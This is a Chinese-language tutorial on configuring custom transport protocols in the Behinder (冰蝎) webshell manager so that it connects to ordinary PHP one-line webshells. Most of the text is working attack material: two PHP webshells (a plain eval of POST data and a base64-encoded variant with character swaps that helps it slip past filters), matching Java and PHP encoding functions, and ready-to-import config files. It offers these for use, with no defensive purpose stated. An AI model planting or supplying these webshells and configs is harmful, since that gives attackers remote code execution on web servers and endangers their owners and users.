冰蝎在v4.0版本中引入了自定义传输协议的机制,可以对本地和远程的加解密逻辑进行自定义。冰蝎内置的几个php版本的传输协议都是只支持冰蝎专用的小马,但是网上很多工具的exp都是直接写的普通的一句话木马。
本文给大家介绍一下如何写传输协议,可以直接连接普通的php一句话木马。
首先看一下一句话木马内容:
<?php eval($_POST["pass"]); ?>
像这种小马,冰蝎通过自定义传输协议是可以直接连接的,先给传输协议起个名字:eval_post,然后本地加密函数这样写:
private byte[] Encrypt(byte[] data) throws Exception
{
String payload = java.net.URLEncoder.encode(new String(data),"UTF-8"); //先对Payload进行URL编码一下
payload = String.format("pass=%s",payload);//因为最原始的一句话没有加解密逻辑,所以直接把Payload封装进Post的Key-Value对就可以
return payload.getBytes();
}
这样本地的Payload就会以pass=xxx的形式发送到服务器。
本地解密函数最简单的可以这样写:
private byte[] Decrypt(byte[] data) throws Exception
{
return data; //客户端收到服务器返回的数据之后,不做任何处理,直接返回。
}
接下来是远程的加密函数,远程加密函数的功能是把服务端上Payload执行的结果在发回客户端之前做一些加密操作,我们这里省事,可以直接不做操作直接返回:
function Encrypt($data)
{
return $data;
}
由于我们没用使用动态生成的一句话木马,所以远程解密函数用不到,直接打个空格留空就行。
接下来连接测试一下:
保存的时候,会提示“一致性校验未通过”,忽略即可。因为冰蝎动态生成的一句话加密和解密是对称的,而这里我们没有用冰蝎动态生成的一句话,所以会有这个提醒,直接忽略,不影响。
这个是连接最原始php一句话木马的传输协议,最主要是做个演示,同理也可以做一些自定义的加解密算法来修改传输协议。
再分享一个base64加密版本的:
一句话内容:
<?php
eval(base64_decode(str_replace(array("<",">"),array("+","/"),$_POST["pass"])));
?>
本地加密函数:
private byte[] Encrypt(byte[] data) throws Exception
{
String json="pass=lucky";
json=json.replace("lucky",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return json.getBytes();
}
本地解密函数:
private byte[] Decrypt(byte[] data) throws Exception
{
return data;
}
远程php加密函数:
function encrypt($data)
{
return $data;
}
远程php解密函数置空,连接:
最后分享一下这两个传输协议的配置文件:
eval_post.config
[{"encode":"private byte[] Encrypt(byte[] data) throws Exception\n{\n String payload = java.net.URLEncoder.encode(new String(data),\"UTF-8\");\n payload = String.format(\"pass=%s\",payload);\n return payload.getBytes(); //因为最原始的一句话没有加解密逻辑,所以直接封装个Post的Key-Value对就可以\n}","name":"eval_post","id":39,"decode":"\nprivate byte[] Decrypt(byte[] data) throws Exception\n{\n return data; //客户端收到服务器返回的数据之后,不做任何处理,直接返回。\n}","type":"jsp"},{"encode":"function Encrypt($data)\n{\n return $data;\n}","name":"eval_post","id":40,"decode":" ","type":"php"}]
eval_post_base64.config
[{"encode":"private byte[] Encrypt(byte[] data) throws Exception\n{\n String json=\"pass=lucky\";\n json=json.replace(\"lucky\",java.util.Base64.getEncoder().encodeToString(data).replace(\"+\",\"<\").replace(\"/\",\">\"));\n return json.getBytes();\n}","name":"eval_post_base64","id":37,"decode":"private byte[] Decrypt(byte[] data) throws Exception\n{\n return data; \n}","type":"jsp"},{"encode":"function encrypt($data)\n{\n return $data;\n}","name":"eval_post_base64","id":38,"decode":" ","type":"php"}]
把上面的内容另存为xxx.config,然后导入冰蝎即可。